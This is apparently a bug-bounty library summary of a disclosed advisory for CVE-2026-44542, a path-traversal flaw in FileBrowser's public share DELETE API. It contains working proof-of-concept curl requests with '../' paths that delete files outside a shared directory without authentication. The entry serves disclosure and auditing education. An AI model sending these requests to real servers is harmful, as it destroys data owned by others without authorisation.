# FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion

FileBrowser joins attacker-controlled path with share base before sanitization, letting unauthenticated holders of a delete-enabled public share hash delete arbitrary files outside the share.

- Payout: Research
- Severity: critical
- Program: FileBrowser
- Found by: Yesuhei
- Disclosed: 2026-05-07
- CVE: CVE-2026-44542
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fwj3-42wh-8673
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fwj3-42wh-8673
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:path-traversal

**Target:** Public share DELETE API endpoints (/public/api/resources and /public/api/resources/bulk)
**Root cause:** The user-supplied path query/body parameter is joined with the trusted share base path before SanitizeUserPath() is applied, so ../ sequences escape the shared directory. Two code paths: middleware.go:111 (stable) and resource.go:274 (HEAD bulk).
**Steps:**
1. Create /folder/shared_subdir/ (shared) and /folder/protected.txt (outside share).
2. Create a public share with Path=/shared_subdir and AllowDelete=true, obtain hash.
3. Stable: `curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"`
4. HEAD bulk: `curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" -H "Content-Type: application/json" -d '[{"path":"../protected.txt"}]'`
5. Observe protected.txt deleted despite being outside the shared directory.
**How found:** Code review of the public share delete handlers: noticed the path parameter is joined with the base path before SanitizeUserPath() is called, meaning sanitization happens too late to block traversal.
**Exploitation:** Attacker needs only a valid public share hash with delete permission enabled; no authentication. Sends DELETE with path=../<target> (or bulk JSON body) to traverse out of the shared directory and delete any file within the share owner's storage scope.
**Insight:** When auditing path handling, check the order of operations: if join/concat happens before sanitize/normalize, ../ survives. Public share endpoints with write/delete permissions are high-value unauthenticated surfaces; test both single and bulk variants since fixes often miss one.

## Proof of concept (copied exactly from the original report)

**Stable DELETE request with traversal path**

```
curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"

#Observe:
#protected.txt is deleted despite being outside the shared directory
```

**Bulk endpoint DELETE with traversal JSON body**

```
curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \
  -H "Content-Type: application/json" \
  -d '[{"path":"../protected.txt"}]'
```